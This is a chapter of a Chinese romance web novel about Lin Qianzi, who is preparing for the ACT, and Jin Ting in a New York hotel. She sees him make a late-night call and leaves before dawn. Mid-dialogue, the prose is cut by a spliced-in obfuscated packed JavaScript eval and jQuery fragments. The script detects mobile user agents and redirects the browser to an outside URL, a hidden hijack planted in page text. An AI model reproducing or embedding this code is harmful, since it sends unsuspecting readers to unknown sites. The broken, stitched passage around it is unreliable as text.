趁着她洗澡这会，靳汀回到沙发，把地毯上的奶黄色书包拎走，拎到卧室的电脑桌上。


    浴室内有浴缸，所以他没听到什么水淅淅沥沥的响声。安静得过头。


    酒店房间里的空调被他调了温度，二十八度，这样她湿着头发出来不会冷。


    电脑桌是半长椭圆型，悬着没有桌腿。他怕她的小书包掉下去，还特意挨着墙放，打开拉链时，入目是一本黑色笔记本，压着考卷。


    靳汀感觉有点麻烦，干脆把黑色笔记本先抽出来再拿考卷，免得扯坏。


    他没有看笔记本的想法，但笔记本里的东西掉了出来。清脆利落的一声“pia”


    那是张夹在笔记本第一页的打印照片，在他黑色的电脑桌上很扎眼，仿若粘在了那。


    照片里是一个玩偶小熊，棕色绒毛，黑色眼镜，短手短脚。小熊穿淡蓝色t恤，t恤上标有哥伦比亚大学的学校图标，和学校名字。


    她原来想考哥大。


    这款小熊，她只打印照片也不奇怪，毕竟线下只有哥大的书店有卖，是哥大的纪念品。


    而没有在校学生的帮忙，进哥大预约参观会很麻烦。


    靳汀不想对这个愿望打草惊蛇，他一根手指夹在第一页与笔记本硬壳，准备把照片放回去时。卧室没开灯，只有客厅的暖灯光影，虚晃在他这半敞空间。


    偏偏电脑桌离门口近。


    空隙间，昏暗里，他瞥见她写的字。


    他看到了自己的名字


    ——To：Ethan


    像是写给他的话。他不愿好奇，不动声色地把照片夹回去，然后，竟感觉后颈有点凉意，飘忽的凉意。


    ……


    茜子出来的时候，发丝沾了点水汽，她还以为会很冷，但发现空调被他调过了。


    男人正侧坐着，办公椅下的双腿叠放，穿浴袍，却在认真细致地看她的真题。茜子有点凝噎，想晃晃手上的手机，说答案在她存的电子版里，但他似乎不太需要。


    ACT一般考四部分，英语，数学、阅读、科学推理。


    这些全部都是选择题，总共两百多道。选择题倒是很方便阅卷，不需要斟酌分怎么算。


    哪怕她站在门口，靳汀依旧在翻，翻了有五分钟。茜子考卷做得想吐，哪怕英文又小又密，她远远瞥一眼，都大概知道他看的哪个考卷。


    单页看得最久的，是数学考卷…


    他什么意思，她数学做得很差吗？


    林茜子走到电脑桌前。两个人用的同一款洗浴用品，都是无花果的香气，清甜的，软糯的。


    她总觉得他身上的香气更好闻点，有他体温的味道。


    两方气息交融，蹲下看他的眉眼，茜子才发现，他投入时，眉眼里有点淡淡的疏离。印象里，他倒总是笑着的。


    纸张摩挲的声音终于停了，她想起什么，问：“你要不要早点休息？”


    他真的很少熬夜，几个月和他相处下来，她印象也就那两次。这第三次还是因为被他朋友Tina叫去打麻将。


    靳汀抬眼瞥了下，看她换了睡衣。发丝旁一滴晶莹的水珠，他伸手替她揩掉，指尖相搓抹了抹，把水珠抹匀：“不用，今晚有事。”


    她心情有点落寞，主动替他收好电脑桌上的考卷，在桌上竖起来敲了两下放回书包，考卷上还有他刚刚摸过的温度。她拉上拉链，默默把书包一提就往外走，丢进沙发旁，头一倒就睡在沙发上，客厅灯都不关。


    灯太亮了，茜子只能把头埋到沙发上的抱枕里，太闷喘不过气，她又只好稍微侧过脸，让呼吸顺畅点。


    他看了她的考卷什么也没说，如果是不上心，何必看那么久。


    又说有事，和一整晚都在逗弄她有什么区别。


    她躺了二十分钟，胸腔里一股又一股泛滥的委屈抽抽着。她心疼他受凉，最后显得她和白送上门一样。


    这个人就是从来都不对她坦诚。她不明白为什么他没有工作，也会在凌晨忙。


    客厅的灯，在她下一次眨眼时，忽地熄灭，像一口轻轻的气息扑灭烛台焰火。她的焰火也被吹晃，消散大半。


    漆黑里，落地窗外楼宇间的光影更加明显，要说这未灭的办公室灯，有点烟火气吧，她倒共情不上。


    但这客厅灯一灭，她心里染上点柔情，看钢铁森林，又觉得没那么冷了。


    她听见一点脚步声，虚浮的。他也就这种时候显得走路有声。她弓着的背没敢动，借这点灯影，余光一扫，发现他的风衣挂在客厅的沙发上。


    靳汀知道她睡在客厅，把窗帘拉上了。


    黑暗里，她觉察到他看过自己一眼。


    他心有所牵的走时，那件风衣还挂在沙发上。


    茜子迷迷糊糊睡过去，她身上什么都没盖，再睁眼时，发现自己已经冷得无意识缩成一团，脚尖僵硬。


    她听到他说话的声音，源于开着大半的卧室门。


    卧室的灯也开着，浅莹的夜灯，不至于照到她。她的视线小心翼翼寻着他，头发都不惜被压疼，她看清他。男人靠在那里打电话，熬深了，确实眼下有淡淡的疲涩。


    “你要来纽约吗？”


    “好，我车给你。后面约个时间，我把车钥匙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336687|182305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    给你。让小徐帮你开，我给他订机票。”


    “叔叔阿姨怎么样，健康吗？”


    都是他的声音，像露水滴落。


    他手机那侧声音开得极小，她不会有机会听到。


    男人问完这句话后，呼吸渐深：“有任何事情我都会帮你，国内…”


    他走了，走进卧室，剩下的话她听不到。


    算是预感灵验吗？


    他这番有事，隐约会是她的伤心事。


    沙发上，他虚虚挂着的风衣，这时滑稽掉下来，拢在她身上。没有他的体温，只吸饱了空调的冷气，害她更冷。茜子懒得帮他挂回去，恶狠狠地抓了两把他的袖口，忍着鼻腔酸意，强迫自己睡过去。


    朦胧间，她梦到他。


    那是一方小小的卧室，按她喜好布置的，有落地灯，画框，一排排书架。书架里装了她喜欢看的哲学书，童话书，黄白红蓝。这一切太贴近现实，现实得仿佛正在发生，让她相信大千世界里，有这么一隅。


    她梦到她在亲他，乐呵呵地捧着他的脸笑，拿自己的呼吸一次次捂热他，拿自己最温和的爱流经他，最后她亲到了耳廓。


    好冷。


    她受不住了，无奈退开。


    她说对不起。


    他没有反应。


    ·


    茜子醒得很早，下意识摸到手机时，她发现自己只睡了三个小时。


    国内…


    纽约和北京有十二小时时差，他昨晚应该是在和国内的人打电话。


    说难听点，她又想了想是不是他在国内有人。但他的司机是男人，应该不至于敢单独给女朋友用。


    茜子想到这就不想了，她不想再猜，只想逃离这里，这个绚烂得天花乱坠的空间。


    她掀开他的浅色风衣，像去团一堆垃圾，团好后扔到一旁，而后鞋都没有穿，起身就把窗帘拉开。凌晨四点左右的纽约，无云的黎明渐晓，晨昏线橙红，慢吞吞游移。


    林茜子回到客厅桌前，弯下腰，揽走客厅内所有自己的东西，把自己的行李箱轻轻拉走，单肩挎上书包，胸腔里积攒的郁气散空，空得有点无措。


    套房黑金色的门被她拉开把手，这是她留给他的最后一点温度。她吸了吸鼻子，嗅着外头剔透的空气，直到行李箱最后一个轮子离开门内空间，她郑重地合上门。


    「原谅我不辞而别。」


    走到电梯时，她内心还在道歉。


    可是，那个人还陷在睡梦中，一无所知地沉默着。


    亦如此后，她每一次道歉，他给的反应。


    那股带有萧索的沉默。